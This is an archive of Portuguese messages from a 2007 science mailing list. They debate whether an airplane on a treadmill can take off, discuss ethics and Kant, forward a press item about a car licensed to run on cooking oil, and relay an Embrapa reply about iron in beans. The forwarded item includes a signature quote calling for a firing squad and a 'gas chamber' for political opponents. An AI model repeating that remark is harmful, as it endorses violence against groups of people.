c) os motores de propulsão forçam a nave a ir para a frente, aumentando a velocidade relativa entre avião e o solo, e garantindo o fluxo correto de ar, através das asas, tal que seja gerada a força de sustentação requerida.
d) Mas, para que isso aconteça, é preciso que o avião se desloque em relação ao solo(e, por tabela, em relaçao ao ar), establecendo-se uma velocidade relativa em relação a ele!

Mas, reinterpretando o enunciado da questão, no que se refere ao trecho abaixo,

"A esteira tem um sistema de controle que acompanha a velocidade do avião e faz com que a esteira tenha exatamente a mesma velocidade, no sentido oposto.",

sob outro ponto de vista, concluí o seguinte:

1- velocidade da esteira,em relação ao solo = Ve;
2-velocidade do avião em relação à esteira = 2Ve( o eixo do avião tem uma velocidade 2.Ve em relação a qualquer ponto fixo da esteira-onde colocamos um referencial solidário a ela).
3 - Por uma simples composição galileana, concluímos que a velocidade do avião em relação solo resulta igual a Ve, para a frente; e não zero. Assim, as condições de decolagem, a,b,c e d, acima, podem ser cumpridas.
Portanto, em tais circunstâncias, o avião pode decolar, se a velocidade da esteira for suficiente e ela tiver o comprimento adequado.
Como nunca me interessei por coisas de aviação, a não ser dominar as "toradas de aço" quando em viagem, não mesmo que utilidade poderia ter essa esteira, que tem que bem compridinha e deve ter um tremenda sistema mecância e elétrico para arrastá-la a velocidades como 200 ou km/h. Acho que só serve mesmo para movimentar listas de discussão, e fazer o pessoal debater e trocar idéias. Se tem alguma utilidade prática, gostaria de saber, sinceramente.
Sds,
Victor.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 28, 2007 2:01 AM
Subject: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira

Olá Takata

Takata: "Helicópteros fazem isso."

Tem razão, em tese seria possível. Mas o que eu quis frisar era que a
forma geral como aviões são construídos, não envolve usar o fluxo
gerado pelas hélices como fonte de sustentação.

Inclusive, em Girocópteros, as hélices de propulsão são diferentes das
hélices de sustentação, como nos aviões. Seriam "asas em formato de
hélice", sobre o Girocóptero, e hélices propulsoras propriamente
ditas, bem menores e posicionadas atrás do piloto.

Um abraço.

Homero

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: off-toppic
FROM: "brudna" <lrb@iq.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 17:16

Que interessante! :-)

Ainda tenho familia em Ijui e apareco seguido lah.

No ultimo ano dei aulas na Unijui, no DBQ.

Ateh
Luis Brudna


--- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
<cesarakg@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@>
> escreveu
> >
> > Tem ateh o detalhe das ruas da cidade onde nasci
> > http://tinyurl.com/2gr8lu
>
> Morei ali pertinho, primeiro na Rua dos Imigrantes, e depois no Bairro
> Modelo... Putz, sessão nostalgia... Mas a foto de satélite parece
> estar "fora de sincronismo" com o mapa (clica em "hybrid").
>
> []s
> --
> César A. K. Grossmann
>




SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 18:57

Jose Renato, suas respostas estão com ">".

>C - Rapaz, o que eu estou querendo são principios que
motivam essas coisas.
>O que é justiça?? O que é
>racionalidade? ?? Voce fala que é bom , justo e
racional sem explicar o
>porquê. Não somos mais
>crianças e nem somos religiosos para dividir as
coisas simplesmente em bem e
>mal. Eu aposto que você segue as regras sem entender
EXATAMENTE por quais
>motivos a segue.
>
>JR - Esse aprendizado começa inconscientemente na
primeira infância do zero
>aos quatro anos. A consciência e o discernimento vem
aos poucos após a
>adolescência, onde adquirimos nossas primeiras
convicções. O restante da
>vida é a contínua e permanente fase das
avaliações-reavaliaçõ es. Sobre esses
>temas como justiça, bem, mal, racionalidade, o mundo
está cheio de bons
>livros contendo as mais diversas visões ou
percepções. Para refletir sobre
>essas visões é necessário liberdade, tranquilidade,
tempo... Mas essas são
>as primeiras riquezas que vampiros midiáticos
marqueteiros nos furtam com
>promessas sedutoras de emoção, prazer, alegria,
participação.. . A partir daí
>viramos um cidadão-zumbi, não temos mais vontade nem
idéias próprias, nem
>tomamos nossas decisões com liberdade e conhecimento.
Nos ajeitamos no
>roldão em que todos os "consumidores" são levados...

Na infância voce aprende a reconhece-los mas
não entende profudamente o porquê.
Seu reconhecimento é baseado principalmente em dor
versus prazer.
Talvez não exista algo mais universal que isso.
Então o bem poderia ser uma concepção hedonista de
viver e teriamos nossa ética e moral que tanto
almejamos.
Sendo assim, a proposta do personagem em MATRIX I
seria interessante:
Viver uma espécie de hibernação eterna e desfrutar de
todos os prazeres que um ser humano pode ter embora
isso tudo seja uma ilusão provocada em seu cerebro
pela Matrix.

Você aceitaria algo do tipo ???

>C - E por que a mulher não teria?? Voce possui bons
principios que
>justifiquem o contrário???
>
>JR - Parece complicado, mas o princípio que utilizo é
simples e de domínio
>público: não fazer ao outro aquilo que eu não
aceitaria que fizessem comigo.

Certo mas eu posso furar esse principio desde que eu
nunca seja punido por transgredi-lo sem sentir nenhum
remorso conforme eu já venho repetindo nessa lista.
Portanto posso dar minhas puladas de cerca e roubar o
dinheiro da carteira de meu pai de vez em quando :p.


>C - Antigamente não tinhamos a quantidade de
>informação que temos hoje. Se
>o conhecimento sobre nossa natureza alcançou
patamares nunca dantes
>sonhados, acredito que deveriamos entender bem a
causa do Direito. Mais uma
>vez a moral absoluta versus a moral relativa.
>
>JR - Entender, já entendemos. O que temos visto ao
longo da história são
>variações sobre o mesmo tema em palcos diversos. Mais
recentemente, nesses
>últimos séculos, estamos nos especializando em burlar
o Direito de modo tal
>e com argumentos tais que o direito esteja sempre a
favor dos que detém o
>poder.

Não entendemos de forma absoluta. E eu acredito que
esse seria o ideal.
A questão é se é possivel tal universalização.


>C - Eu acho que voce tem medo de ser "mauzinho".
>
>JR - Eu procuro evitar situações de crueldade. Toda
vez que cometo uma
>crueldade fico com uma sensação muito ruim a
incomodar... Minha paz vai pro
>espaço e o que fica em seu lugar é muito, muito
desagradável.

E se ser "mauzinho" te desse prazer então você seria
"mauzinho"???
Se você responder sim, então não poderá julgar o
"mauzinho" de acordo
com os seus valores. Tanto você quanto o homem mau
agem pelo mesmo princípio. A indignação seria uma
atitude incoerente da sua parte.

>C - Por que essa é a melhor forma???
>
>JR - Descobri isso na infância quando percebi que eu
sou o próximo para o
>meu próximo. Mais tarde isso ficou bem claro e,
apesar de procurar outras
>alternativas, não encontrei nada mais simples e
efetivo.

Voce relativizou. Isso aqui é palavrão :p.

>C - Por que isso é uma estupidez???
>
>JR - Porque o ganho que eu tenho é fortúito e se
esgota rapidamente,
>enquanto as consequencias desagradáveis que minha
atitude provoca no meio em
>que vivo são progressivas e bem mais duradouras.

Mais uma vez, repito: O principio da não ação para não
receber as consequências da reação é furado. Basta que
se burle as consequências da reação.

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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conforme as normas da empresa e a legislação em vigor. Agradecemos sua
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SUBJECT: Re: [ciencialist] P/ Ricardo - Re: E ética de cada um...
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 18:58

Ricardo, dor e prazer seriam leis práticas??


--- Ricardo <ricardos@infolink.com.br> escreveu:

> Chicao,
>
> Para esta colocação gosto da definição de Kant, que
> em uma de suas
> classificações divide as proposições fundamentais
> práticas em "máximas"
> (subjetivas) e "leis práticas" (objetivas). A máxima
> pode variar segundo a
> vontade de cada indivíduo, enquanto a lei prática
> deve ser válida para a
> vontade de todo ser racional (todos mesmo).
>
> Se você pode demonstrar objetivamente que a
> proposição é válida para todo o
> ser racional, como em uma lei natural (gravidade,
> por exemplo), você tem uma
> lei prática. Mas regras éticas, do tipo: "ao ser
> agredido devo sempre reagir
> em defesa de minha honra", são máximas pessoais.
> Verdades individuais
> subjetivas.
>
> É verdade, nem sempre é simples objetivamente
> comprovar uma lei prática, mas
> se ainda não foi comprovada, não pode ser
> considerada como tal. E não
> adianta dizer que é senso comum, como direitos
> humanos, que a maioria pensa
> assim (Argumentum ad Populum). Sem comprovação
> objetiva e categórica, não é
> lei prática. É subjetivo.
>
> Eu compartilho da visão do Kant neste ponto.
>
> Abraços,
>
> Ricardo
>
> ----- Original Message -----
> From: "Chicao Valadares"
> <chicaovaladares@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 26, 2007 10:18 AM
> Subject: Re: [ciencialist] P/ Murilo - Re: E ética
> de cada um...
>
>
> > Eu estou tentando vislumbrar mais ou menos isso
> que
> > Jose Renato disse. A primeira coisa que notei é
> que
> > essa regra deverá atingir todos os homens sem
> exceção
> > por isso me ocorreu logo a ideia de alguma regra
> que
> > seja natural(exemplo: lei da gravidade).
> > Estou a ponderar sobre isso.
> >
> >
> >> Olá, Homero e Murilo! O que se busca deste
> sempre,
> >> melhor registrado por
> >> Aristóteles, é o absoluto. Uma, regra ética-moral
> >> que independa das
> >> premissas momentâneas, necessidades atuais,
> costumes
> >> sociais, pessoais,
> >> históricos, tradicionais, humor do legislador,
> >> situação econômica, etc. Um
> >> regra de descreva a melhor atitude a ser tomada
> pelo
> >> cidadão, em qualquer
> >> situação ou circunstância. Daí a dificuldade...
> >> []s
> >> José Renato
> >
> >
> > "O Binômio de Newton é tão belo como a Vênus de
> Milo.
> > O que há é pouca gente para dar por isso... "
> > Fernando Pessoa - Poesias de Alvaro Campos
> >
> >
>
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> > são
> > para uso restrito, sendo seu sigilo protegido por
> lei. Caso não seja
> > destinatário, saiba que leitura, divulgação ou
> cópia são proibidas.
> > Favor
> > apagar as informações e notificar o remetente. O
> uso impróprio será
> > tratado
> > conforme as normas da empresa e a legislação em
> vigor. Agradecemos sua
> > colaboração.
> >
> >
> > The information mentioned in this message and in
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SUBJECT: P/ Ricardo - Re: E ética de cada um...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 19:06

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> Ricardo, dor e prazer seriam leis práticas??

O asceta diria q os prazeres devem ser refreados.
O hedonista diria o contrário.

[]s,

Roberto Takata



SUBJECT: Homologado carro movido a óleo de cozinha
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 19:13

Olá a todos,

Para conhecimento aos integrantes da ciencialist e divulgação aos
demais brasileiros:

-------
"

De: "Fendel"
Assunto: Extra! Extra! Homologado o primeiro carro movido a óleo de
cozinha!!
Data: Wed, 28 Feb 2007 14:39:40 -0300
Minha amada Ana

Muito obrigado por teu empenho e dedicação ao sucesso da causa.
São pessoas de teu quilate que irão transformar outras, dechtepaích e
do mundo, em parasitas não suicidas.

Gratos HidroBioBeijos
Eng. Thomas Renatus Fendel
www.fendel.com.br
Divulgação autorizada e desejável.
"O que falta aqui é: "paredom" pros ladrões da direita e "câmara de
gás" pros da esquerda..." - Fendel
Participe do grupo de debates BIOCOM:
http://www.grupos.com.br/group/biocom

-----Mensagem original-----
De: Ana Echevenguá [mailto:ana@ecoeacao.com.br]
Enviada em: quarta-feira, 28 de fevereiro de 2007 11:53
Para: Fendel
Assunto:

Extra! Extra! Homologado o primeiro carro movido a óleo de cozinha!!
Ana Echevenguá*
Em 1897, o alemão Rudolf Diesel, utilizou óleo de amendoim no seu
motor. E afirmou que "Os paises que utilizarem óleos vegetais com meu
motor, obterão desenvolvimento sustentável".
O engenheiro mecânico Thomas Fendel abraçou o projeto de Rudolf .
E, há tempos, tentava regularizar junto ao DETRAN a alteração de uma
das características de seu veículo automotor. Com pequenas adaptações
no motor a diesel, seu carro passou a funcionar movido a OVN - óleo
vegetal natural (a mais eficiente espécie do tão falado biocombustível**).

Mas o DETRAN – alegando incapacidade técnica – recusava-se a
licenciar seu veículo.



Fendel não teve alternativa: requereu ao Poder Judiciário de
vários estados autorização para adequar seus veículos ao uso do
biocombustível OVN.



Ao analisar o processo, entendeu o juiz Domingos Paludo – da Vara
da Fazenda Pública de Florianópolis - que a denegação do pedido na via
administrativa, "não tem causa, pois nenhum ato de agente público pode
ser praticado no evidente propósito de restringir direito, sem um
motivo de Direito que o justifique".

Além disso, sob a ótica do direito do consumidor, para ele "as
leis devem ter sentido produtivo e não destrutivo das economias
populares, bem como se devotarem todas e sempre à obtenção do bem
comum, não se justificando nenhuma restrição a direito sem causa
lícita, ou antes, com causa absolutamente singular, egoística, de
proteger as concessionárias em detrimento de todos os consumidores".



Hoje, Fendel, por força de uma medida concedida, tem o primeiro
veículo movido a OVN - óleo vegetal natural – regularizado junto ao
DETRAN no Brasil.
Não é brincadeira: o carro de Fendel se movimenta, roda pelas ruas
e estradas com o mesmo óleo de cozinha com que se fritam batatas,
ovos, peixe... inclusive com óleo usado de fritura, filtrado.

O momento é propício para divulgar esta boa nova porque, embora as
discussões sobre os (limpos) combustíveis substitutivos da (suja)
gasolina (fóssil) estejam na boca do povo, os nossos governantes só
falam e investem no biodiesel que é uma mistura que contém óleo
vegetal modificado, desnecessariamente mais caro e oligopolitizado.

Chegou a hora de o Brasil também falar e investir no uso de óleo
vegetal puro pois existem vários exemplos de experiências bem sucedidas.



Com seu projeto sustentável em prática, Fendel:



1. obedecendo a postura internacional, contribui para o não
aquecimento do planeta porque não está usando combustível fóssil. Ora,
será que só um carro movido a OVN pode provocar alteração no efeito
estufa? Claro que sim. Especialmente se este exemplo for multiplicado
por outros usuários de veículos automotores. Afinal, cada um deve
fazer a sua parte, pois os vegetais correspondentes fazem a sua parte
muito bem feita, eles seqüestram graciosamente muito mais CO2 da
atmosfera, do que o devolvido pelo uso das bioenergias;



2. está contribuindo para o sucesso da agricultura familiar.
Cada agricultor poderá ser auto-suficiente na produção do combustível
que utiliza e deverá poder vendê-lo livremente;



3. gastará R$ 0,08 para rodar 01 kilômetro. Isso, em relação à
gasolina, representa uma economia de R$ R$ 0,16 por kilômetro rodado.



Esta brilhante decisão judicial é uma vitória para a sociedade. E
é também uma vitória para o meio ambiente e para o bolso do consumidor!



Extra! Extra! Leitores, vamos replicar esta decisão em cada canto
do Brasil! Fale conosco!





* - advogada ambientalista, coordenadora do programa televisivo
Eco&Ação – Ecologia e Responsabilidade, e-mail: ana@ecoeacao.com.br



** - segundo a Lei 11.097/2005 é "combustível derivado de biomassa
renovável para uso em motores a combustão interna ou, conforme
regulamento, para outro tipo de geração de energia, que possa
substituir parcial ou totalmente combustíveis de origem fóssil".


"
-----

Abraços

Tipoalgo



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 21:11

Olá Takata

Quanto tempo teremos de experar pela "magica" prometida, de impedir a
decolagem do avião com o uso da esteira?..:-) Será que é tão difícil
assim nos fazer entender o X da questão?..:-)

Takata: "Apropo. Aviões q sem dúvida decolariam da esteira: o Harrier
ou o Hiller X-18 (ou outro modelo de VTOL)."

Apropo, se entende que estes aviões decolam sem problemas, como os
outros não decolariam? O fato de que "sobem" na vertical é irrelevante!

Se "sobem" porque suas turbinas estão viradas para baixo, ou se
"sobem" porque a pressão do ar sobre as asas os levanta, é a mesma coisa.

Está preso demais as "rodas", me parece Takata, achando que estas
podem fazer algo com o avião que elas não podem. São simples
dispositivos de "desligar" atrito, não mecanismos de tração, como nos
carros.

Como lembrou o Vitor, a experiência é totalmente impraticável, pois a
esteira seria gigantesca e teria de rolar a mais de 200 Km/h. Por isso
parece apenas um exercício mental, onde o atrito dos rolamentos é zero
(ou teria sido informado no enunciado). E se é zero, já concordamos, o
avião levanta vôo de toda forma (para o avião, rodas a girar
loucamente ou esquis de gelo são a mesma coisa, e nada interferem em
seu movimento para frente, decorrente da propulsão).

Como o atrito de rolamentos, mesmo que dobrados pelo rolar da esteira,
poderiam impedir o movimento de um avião na decolagem??? Nem se as
rodas travassem no meio, ainda assim o avião decolaria, arrastando as
rodas na esteira.

Aguardamos ansiosamente a resposta mágica ao problema em questão..:-)
Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> > Tem razão, em tese seria possível. Mas o que eu quis frisar era que
> > a forma geral como aviões são construídos, não envolve usar o fluxo
> > gerado pelas hélices como fonte de sustentação.
>
> Sei. Estava apenas fazendo uma ressalva. O q significa q é uma questão
> q envolve outros aspectos - design, desempenho, velocidade, etc. - e
> não uma impossibilidade técnica.
>
> Apropo. Aviões q sem dúvida decolariam da esteira: o Harrier ou o
> Hiller X-18 (ou outro modelo de VTOL).
>
> []s,
>
> Roberto Takata
>




SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 21:27

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Quanto tempo teremos de experar pela "magica" prometida, de impedir
> a decolagem do avião com o uso da esteira?..:-) Será que é tão
> difícil assim nos fazer entender o X da questão?..:-)

Está faltando vc aceitar q o avião na segunda condição está em MRU.

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 22:26

Olá Takata

Takata: "Está faltando vc aceitar q o avião na segunda condição está
em MRU."

Se não me engano, o Ricardo já concordou com essa afirmação. Mas,
deixe-me ver: um avião, sem asas, sobre uma esteira, desligada e
imóvel, liga seus motores e começa a se deslocar, até atingir a
velocidade máxima, sem decolar (pois não tem asas). Nesse momento, a
mais ou menos uns 200 Km/h, ele se mantém em Movimento Retilineo
Unforme, sem acelerar e sem perder velocidade, sendo que os rolamentos
de suas rodas tem atrito, mas não conhecido (embora seja mínimo, para
padrões aeronáuticos).

Acho que está tudo aí, e não há problema em aceitar que o veículo
(chama-lo de avião é demais..:-) está em MRU.

E agora?

Suponho que concorde que, se o atrito dos rolamentos for eliminado,
pela presunção hipotética de atrito zero ou pela simples suspensão das
rodas do contato com a esteira (se o avião tivesse suas asas de volta,
poderia fazer isso sem cair), a velocidade seria minimamente alterada,
para mais. Minimamente seria algo como de 200 para 200,5 Km/h.

Um abraço.

Homero





--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> > Quanto tempo teremos de experar pela "magica" prometida, de impedir
> > a decolagem do avião com o uso da esteira?..:-) Será que é tão
> > difícil assim nos fazer entender o X da questão?..:-)
>
> Está faltando vc aceitar q o avião na segunda condição está em MRU.
>
> []s,
>
> Roberto Takata
>




SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 22:31

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Acho que está tudo aí, e não há problema em aceitar que o veículo
> (chama-lo de avião é demais..:-) está em MRU.

Se está em MRU, a resultante sobre ele é zero, ok?

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 00:44

Olá Takata

Takata: "Se está em MRU, a resultante sobre ele é zero, ok?"

Calma com o andor... Vamos com calma, pois parece que está sendo
preparada uma "armadilha" semantica aqui..:-)

Não sei o que vai fazer, Takata, mas perguntas curtas, sem mais dados
que uma afirmação peremptória, quase sempre é uma "pegadinha".

A resultante é zero, pois ele não acelera nem desacelera, sempre
considerando que, se há atrito nos rolamentos, esse atrito está
contabilizado na equação que resulta zero, ok? (não vai tirar um
coelho da cartola por aí..:-).

E deve se lembrar que o veículo (avião não dá..:-) está se
movimentando a 220 Km/h em relação ao solo e ao ar, que é o que
importa. A resultante, portanto, não implica em situação estática,
nesse sentido, mas dinâmica, muito dinâmica na verdade.

Vamos em frente então, ele está em MRU e a resultante é zero neste
momento..:-)

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> > Acho que está tudo aí, e não há problema em aceitar que o veículo
> > (chama-lo de avião é demais..:-) está em MRU.
>
> Se está em MRU, a resultante sobre ele é zero, ok?
>
> []s,
>
> Roberto Takata
>




SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 01:05

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> A resultante é zero, pois ele não acelera nem desacelera, sempre
> considerando que, se há atrito nos rolamentos, esse atrito está
> contabilizado na equação que resulta zero, ok? (não vai tirar um
> coelho da cartola por aí..:-).

O ar aqui não importa - por isso tiramos as asas. O avião estando em
MRU, voltamos à situação anterior.

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 07:22

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> O ar aqui não importa - por isso tiramos as asas. O avião estando em
> MRU, voltamos à situação anterior.

Agora o primeiro coelho da cartola:
http://webphysics.davidson.edu/faculty/dmb/PY430/Friction/rolling.html

A terceira figura, q mostra a deformação - fora de escala - q o pneu
sofre. Isso levará a interações do pneu com o piso q não são tangenciais.

Se estiver ok, avisem.

[]s,

Roberto Takata



SUBJECT: [RN] COMO LIDAR COM FALSOS ACHADOS EM PESQUISAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 10:03

The Science of Getting It Wrong: How to Deal with False Research Findings
The key may be for researchers to work closer and check one another's
results
http://sciam.com/article.cfm?articleid=05C04C38-E7F2-99DF-3843F150B0DE1355

---------------
[]s,

Roberto Takata



SUBJECT: Copea promove em março ciclo de conferências “O futuro da Terra”
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 01/03/2007 11:10

*Copea promove em março ciclo de conferências "O futuro da Terra"*
** Palestras
acontecem às quintas, 17h30, no Fórum de Ciência e Cultura/UFRJ

Confira a programação de março:

Dia 15 - Impacto Global das Mudanças Climáticas - Enéas Salati (Fundação
Brasileira para o Desenvolvimento Sustentável)

Dia 22 - O Clima Está Realmente Mudando? - Pedro Leite da Silva Dias
(IAG/USP)

Dia 29 - O Problema Mundial da Água - José Galízia Tundisi (Instituto
Internacional de Ecologia)

As conferências são abertas ao público em geral.

O Fórum de Ciência e Cultura/UFRJ fica no campus da Praia Vermelha.
Informações pelo fone (21) 2295-1595


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Embrapa: Ferro no feijão
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 14:15

Recebi agora o retorno de uma consulta minha a respeito da propoção
biodisponível do teor de ferro no feijão.

===============
Date: Thu, 01 Mar 2007 13:46:23 -0300
From: "SAC - Embrapa Arroz e Feijão" <sac@cnpaf.embrapa.br>
To: "ouvidoria" <ouvidoria@sede.embrapa.br>, rmtakata@XXXXX
Subject: Re: [Fwd: Feijao e ferro]

Prezado Senhor,

Muito obrigada por seu interesse pela Embrapa.

Recebemos sua mensagem e buscamos discutir internamente a
confiabilidade em nosso site. Levamos em consideração suas colocações
e decidimos suprimir a parte do texto que se refere a " aumento de até
40%" .
Informamos que estamos em precesso de revisão do site e buscaremos sr
mais criteriosos na escolha das fontes utilizadas.
Agradecemos a sua colaboração e esperamos melhorar cada vez mais a
qualidade das informações prestadas em nossa home-page.

Heloisa da Silva Coelho - ACE
Embrapa Arroz e Feijão
sac@cnpaf.embrapa.br
===============

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 14:16

Olá Takata

Takata: "Se estiver ok, avisem."

Takta, Takata..:-) Está "desconstruindo" o enunciado, que era simples
e apenas pretendia saber se o movimento contrário da esteira, sem
considerar atritos diversos, compensaria o avanço do avião. É um teste
de lógica, mais que de física de atritos.

Mas, tudo bem, está OK, você tirou da cartola um fenomeno físico
interessante e temos mais um, pouco, de atrito, em relação ao pneu com
o solo. Agora, em vez de estar a 200 km/h, o avião está a 199 Km/h.

Podemos continuar e ver se isso impedirá o avião de decolar (por
favor, mantenha o percurso em termos razoáveis, não vá alegar que se a
esteira tiver 200 mil km, e o avião levar 10 anos, ele não decola, ok?).

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@>
> > O ar aqui não importa - por isso tiramos as asas. O avião estando em
> > MRU, voltamos à situação anterior.
>
> Agora o primeiro coelho da cartola:
> http://webphysics.davidson.edu/faculty/dmb/PY430/Friction/rolling.html
>
> A terceira figura, q mostra a deformação - fora de escala - q o pneu
> sofre. Isso levará a interações do pneu com o piso q não são
tangenciais.
>
> Se estiver ok, avisem.
>
> []s,
>
> Roberto Takata
>




SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 14:39

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Mas, tudo bem, está OK, você tirou da cartola um fenomeno físico
> interessante e temos mais um, pouco, de atrito, em relação ao pneu
> com o solo. Agora, em vez de estar a 200 km/h, o avião está a 199
> Km/h.

Nein, nein. O ponto principal desta parte é estabelecer q o avião -
sem asas e com a esteira desligada - está em MRU.

Sendo assim, a resultante sobre ele é zero - com a esteira desligada.

O ponto seguinte é mostrar o surgimento de uma força qdo se liga a
esteira q puxa o avião para trás - ficando na situação 1 qdo o avião
estava desligado e a esteira ligada.

(E na verdade será bem mais do q "um pouco" de atrito.)

O q acontece com a deformação dinâmica dos pneus e da esteira? Forma
um contato em concha, com uma pequena saliência na parte da frente.
Como adiantado em outro email, isso cria forças não-tangenciais sobre
o conjunto das rodas.

Qdo se liga a esteira, surge uma força normal de contato q tenta
comprimir o pneu de frente para trás. E, como o avião estava em MRU,
com a esteira ligada, há uma força resultante para trás.

Se isso for aceito, poderemos prosseguir para o próximo passo.

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 15:27

Olá Takata

Takata: " Qdo se liga a esteira, surge uma força normal de contato q
tenta comprimir o pneu de frente para trás. E, como o avião estava em
MRU, com a esteira ligada, há uma força resultante para trás.
Se isso for aceito, poderemos prosseguir para o próximo passo."

Nein, nein, está preparando o bote, mas não vai funcionar. A força que
surgirá vai apenas AUMENTAR uma força que já está presente, e será
compensada com uma, mínima, diminuição da velocidade.

Seria o mesmo que colocar mais alguns quilos na aeronave, o que a
impediria de atingir a velocidade atual, mas não a impediria de decolar.

Em MRU dinamico não significa que uma força, já existente, que é
aumentada, seja capaz de parar o avião. Não importa a que velocidade a
esteira role, mesmo que role a mesma velocidade do avião para trás,
isso diminui a velocidade final (devido ao atrito e não a rolagem em
si), mas não impede a decolagem (que, aliás, é feita em velocidade
muito menor que a velocidade em força total, no MRU).

Um avião decola com uma "parte" da força disponível para empuxo, e não
em MRU final, e se o atrito dos pneus aumentasse, ele apenas
aceleraria mais um pouco e pronto, mantendo a velocidade necessária.

Em MRU, o aumento do atrito apenas diminuiria a velocidade final. E pouco.

Se desejar, podemos trocar as rodas de borracha do avião (que não é
pré-condição do enunciado, por rodas de metal ou um polímero não
deformável, que servirá apenas para esta decolagem (já que podemos
desconstruir o enunciado, nada impede de usar rodas de aço sobre a
esteira..:-)

Isso foi aceito, e podemos prosseguir para o próximo passo então.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> > Mas, tudo bem, está OK, você tirou da cartola um fenomeno físico
> > interessante e temos mais um, pouco, de atrito, em relação ao pneu
> > com o solo. Agora, em vez de estar a 200 km/h, o avião está a 199
> > Km/h.
>
> Nein, nein. O ponto principal desta parte é estabelecer q o avião -
> sem asas e com a esteira desligada - está em MRU.
>
> Sendo assim, a resultante sobre ele é zero - com a esteira desligada.
>
> O ponto seguinte é mostrar o surgimento de uma força qdo se liga a
> esteira q puxa o avião para trás - ficando na situação 1 qdo o avião
> estava desligado e a esteira ligada.
>
> (E na verdade será bem mais do q "um pouco" de atrito.)
>
> O q acontece com a deformação dinâmica dos pneus e da esteira? Forma
> um contato em concha, com uma pequena saliência na parte da frente.
> Como adiantado em outro email, isso cria forças não-tangenciais sobre
> o conjunto das rodas.
>
> Qdo se liga a esteira, surge uma força normal de contato q tenta
> comprimir o pneu de frente para trás. E, como o avião estava em MRU,
> com a esteira ligada, há uma força resultante para trás.
>
> Se isso for aceito, poderemos prosseguir para o próximo passo.
>
